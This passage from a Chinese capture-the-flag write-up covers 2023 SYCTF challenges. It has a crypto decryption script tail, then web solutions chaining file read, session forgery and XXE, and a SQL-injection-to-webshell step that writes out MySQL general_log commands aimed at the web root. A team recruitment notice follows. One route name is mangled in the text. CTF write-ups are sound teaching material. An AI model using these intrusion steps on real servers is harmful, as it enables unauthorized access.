for i in tqdm(range(3, n + 1)):
previous, current = current, (a * current + b * previous + seqsum(i)) % m
return current
ans = home1work(n)
k = unhexlify(md5(str(ans).encode()).hexdigest())
aes = AES.new(k, AES.MODE_ECB)
#data = flag + (16 - len(flag) % 16) * b"x00"
data=long_to_bytes(ct)
ct = aes.decrypt(data)
print(ct)
#b"c7ceedc7197a0d350025fff478f667293ebbaa6b'x00x00x00x00x00x00x00"
WEB
CarelessPy:
下载文件存在任意文件读取,通过eval路由可以获取到源码路径,源码读不了,直接读取pyc文件反编译
得到part.py源码
利用key进行login路由的session伪造
登陆成功得到新路由/th1s_1s_The_L4st_one
访问是XML,直接XXE读flag
Confronting robot:
参数myname存在SQL注入,SQLMAP直接跑
得到路由/sEcR@[email protected],该路由可以直接调用数据库执行SQL
开启全局的通用查询日志之后直接日志写马导致WEBSHELL
set global general_log='on'
set global general_log_file='/var/www/html/sEcR@[email protected]'
然后直接select记录一次马即可shell
蚁剑连接game.php得到flag
FOOTER
CTF组招新:
1. Web:Java,Go,Rust,Node.js,PHP等熟悉任意两种及以上代码审计,加分项:有高质量cve,学习能力强。
2. Crypto:熟悉数论,群论等,加分项:格大佬,会sage脚本,会做nc交互题,学习能力强。
3. Reverse:熟悉多种语言包括但不限于go、rust,熟悉脱壳、反反调试姿势,会Android flutter逆向,frida检测,去ollvm混淆和mov混淆,加分项:手搓天手搓地。
4. Pwn:熟悉多种house of利用技巧、高版本堆利用姿势,加分项:kernel,qemu、musql等。
5. Blockchain:来者不拒,加分项:solana pwn,学习能力强。
6. Misc:熟悉各种编码、隐写术、流量分析思路,熟练掌握取证技术,加分项:会其他任意两个方向以上普通难度的题,学习能力强。
其他:iOS,IOT,车联网,AI等无明确标准。
联系qq2944508194
原文始发于微信公众号(Arr3stY0u):2023 安洵杯SYCTF writeup by Arr3stY0u